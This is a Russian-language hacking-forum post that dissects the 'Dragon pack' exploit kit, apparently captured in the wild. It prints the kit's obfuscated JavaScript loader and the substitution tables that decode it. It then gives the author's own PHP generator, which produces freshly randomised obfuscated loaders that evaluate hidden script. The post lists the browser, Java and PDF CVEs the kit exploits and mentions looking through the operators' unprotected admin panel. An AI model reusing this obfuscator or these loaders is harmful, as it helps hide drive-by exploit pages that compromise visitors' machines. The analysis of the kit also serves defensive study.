Доброго времени суток уважаемые мемберы damagelab!!!
Захотел разобрать сэмпл Dragon pack, который был снят in the wild.
Исследование будет проводиться с User Agent:Mozilla/4.0 (compatible; MSIE 7.0b; Windows NT 6.0)

Код:
<script src='src.js'></script><script src='dest.js'></script><script>var NDotmhh0=['n','e','G','j','y','v','E','l','p','K','u','a','z','O','l','l'];var dLnOQO=NDotmhh0[1]+NDotmhh0[5]+NDotmhh0[11]+NDotmhh0[14];var vob=dLnOQO;var BuBu=this;var kD=BuBu[vob];var Un=new String('unescape');var Unes=BuBu[Un];var strochka='L2pL2_L2cLWHL2BL2HL2mLW......';var ret='';var ij;var index;for(ij=0;ij<strochka.length;ij++){index=desttable.indexOf(strochka.charAt(ij));if(index>-1){ret+=srctable.charAt(index);}}kD(Unes(ret));</script>
Посмотрим внимательно и достанем ещё 2 переменные (с dest.js и src.js)
Код:
var srctable='0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ/.:_-?&=%';
Код:
var desttable='SP%cpH2W5C83fEX:1rjF9AQdMlKi/sk4GuvtxJOBm_U.NqzY7aw&nhgZoVT=0IbRDye?6-L';
Код:
var NDotmhh0=['n','e','G','j','y','v','E','l','p','K','u','a','z','O','l','l'];
var dLnOQO=NDotmhh0[1]+NDotmhh0[5]+NDotmhh0[11]+NDotmhh0[14];
var vob=dLnOQO;
var BuBu=this;
var kD=BuBu[vob];
var Un=new String('unescape');
var Unes=BuBu[Un];
Хотелось бы отметить, что нет обфускации переменных "на лету".
Вообщем вариация на php, с моими "поправками"=)
Код:
<?php
function get_rand_var($len) {
$alpha = 'abcdefghijklmnopqrstuvwxyz';
$digit = '0123456789';
$rnd = substr(str_shuffle($alpha), 0, 1);
for( $i = 0; $i < $len; $i++ ) {
$r_str = str_shuffle(strtolower($alpha) . strtoupper($alpha) . $digit);
$rnd.=$r_str[mt_rand(0,61)];
}
return $rnd;
}
function replace ($string) {
$string = str_replace("\r" ," ", $string);
$string = str_replace("\n" ," ", $string);
$string = str_replace("\t" ," ", $string);
return $string;
}
function ascii2hex($ascii) {
$hex = '';
for ($i = 0; $i < strlen($ascii); $i++) {
$byte = strtoupper(dechex(ord($ascii{$i})));
$byte = str_repeat('0', 2 - strlen($byte)).$byte;
$hex.='%'.$byte;
}
return $hex;
}
function encrypt($string,$key,$srctable) {
for($i=0;$i<strlen($string);$i++) {
$o=$string[$i];
$m=strpos($srctable,$o);
if($m>-1){
$out .= $key[$m];
} else {
$out.=$o;
}
}
return $out;
}
$key = '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ/.:_-?&=%';
$key = str_shuffle($key);
$srctable = "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ/.:_-?&=%";
$srctable = str_shuffle($srctable);
$script = "document.write('xss.pro/');";
$script= ascii2hex($script);
$script = encrypt($script,$key,$srctable);
for ($i = 0; $i <= 17; $i++) {
$rnd_var[$i] = get_rand_var(mt_rand(3,7));
}
$js='var '. $rnd_var[0] .'=[\'n\',\'e\',\'G\',\'j\',\'y\',\'v\',\'E\',\'l\',\'p\',\'K\',\'u\',\'a\',\'z\',\'O\',\'l\',\'l\'];
var '. $rnd_var[1] .'='. $rnd_var[0] .'[1]+'. $rnd_var[0] .'[5]+'. $rnd_var[0] .'[11]+'. $rnd_var[0] .'[14];
var '. $rnd_var[2] .'='. $rnd_var[1] .';
var '. $rnd_var[3] .'=this;
var '. $rnd_var[4] .'='. $rnd_var[3] .'['. $rnd_var[2] .'];
var '. $rnd_var[5] .'=new String(\'unescape\');
var '. $rnd_var[6] .'='. $rnd_var[3] .'['. $rnd_var[5] .'];
var '. $rnd_var[7] .'=\''. $script .'\';
var '. $rnd_var[8] .'=\'\';
var '. $rnd_var[9] .';
var '. $rnd_var[10] .';
var '. $rnd_var[11] .'=\''. $srctable .'\';
var '. $rnd_var[12] .'=\''. $key .'\';
for('. $rnd_var[9] .'=0;'. $rnd_var[9] .'<'. $rnd_var[7] .'.length;'. $rnd_var[9] .'++){
'. $rnd_var[10] .'='. $rnd_var[12] .'.indexOf('. $rnd_var[7] .'.charAt('. $rnd_var[9] .'));
if('. $rnd_var[10] .'>-1){'. $rnd_var[8] .'+='. $rnd_var[11] .'.charAt('. $rnd_var[10] .');}}
'. $rnd_var[4] .'('. $rnd_var[6] .'('. $rnd_var[8] .'));';
$js = replace($js);
echo "<html><script>".$js."</script></html>";
?>

Или для любителей Chrome:
Код:
console.log(Unes(ret))

Как видно из кодеса под данный user-agent выдаются следующие сплоиты: javasmb(CVE-2010-0746), java(CVE-2010-0840), snapshot(CVE-2008-2463), iepeers(CVE-2010-0806)
Далее, по очереди, разберем pdf, который только под ASCII85Decode
Код:
pdfdigger.bat -f 72b89x.pdf

Сразу видно, что используються Collab.collectEmailInfo(Bugtraq ID:27641), util.printf(Bugtraq ID:30035), getIcon(Bugtraq ID:34169), newPlayer(Bugtraq ID:37331)..
Так же, крипт pdf очень напоминает siberia exploit pack=/
Расшифровка сводиться к удалении сепаратора (в данном случае HHYRT)

Ничего интересного-проверка версии и эксплуатация уязвимостей...
Далее джава сплоит(СVE-2010-0840)

Уже после разбора сабжа, я наткнулся на открытую, на доступ из вне, папку с названием /devka...

И смог посмотреть на админку, которая была без авторизации..

И на гостевую статистику(gost.php).
